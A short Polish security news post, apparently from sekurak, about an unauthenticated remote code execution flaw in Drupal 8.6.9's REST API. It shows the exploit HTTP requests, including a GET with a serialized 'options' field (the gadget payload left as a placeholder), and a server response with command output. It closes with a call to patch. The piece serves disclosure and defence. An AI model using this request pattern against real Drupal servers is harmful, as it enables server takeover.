Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Banalny exploit na Drupala – można przejąć serwer bez uwierzytelnienia
Niewiele trzeba było czekać na analizę ostatniego patcha wydanego przez ekipę Drupala. Jeśli mamy dostępne API RESTowe możemy wykonać taki request:
POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.56.101 Content-Type: application/hal+json Content-Length: 286 { "_links": { "type": { "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article" } }, "type": { "target_id": "article" }, "title": { "value": "My Article" }, "body": { "value": "some body content aaa bbb ccc" } }
Bez uwierzytelnienia on nie przechodzi. Ale… jeśli zmienimy metodę z POST na GET, żądanie jest przetwarzane bez uwierzytelnienia!
Co więcej, w parametrze options (patrz poniżej) można przekazać ciąg znaków, który jest automatycznie deserializowany po stronie serwerowej i mamy wykonanie kodu po stronie serwerowej:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.1.25 Content-Type: application/hal+json Content-Length: 642 { "link": [ { "value": "link", "options": "<SERIALIZED_CONTENT>" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }
W odpowiedzi wynik naszego polecenia (w tym przypadku id):
HTTP/1.1 200 OK Link: <...> X-Generator: Drupal 8 (https://www.drupal.org) X-Drupal-Cache: MISS Connection: close Content-Type: application/hal+json Content-Length: 9012 {...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Polecamy jak najszybciej załatać Drupala.
PS
Jeśli interesuje Cię tematyka bezpieczeństwa API REST – zapraszamy na nasze autorskie szkolenie warsztatowe.
–ms
Szybka reakcja! Bo faktycznie mogloby to namieszac troche bez patcha. Z drugiej strony przy architekturze Docker-owej za duzo tutaj nie zdzialamy co dodaje pewny 'layer’ bezpieczenstwa.
Pozdrawiam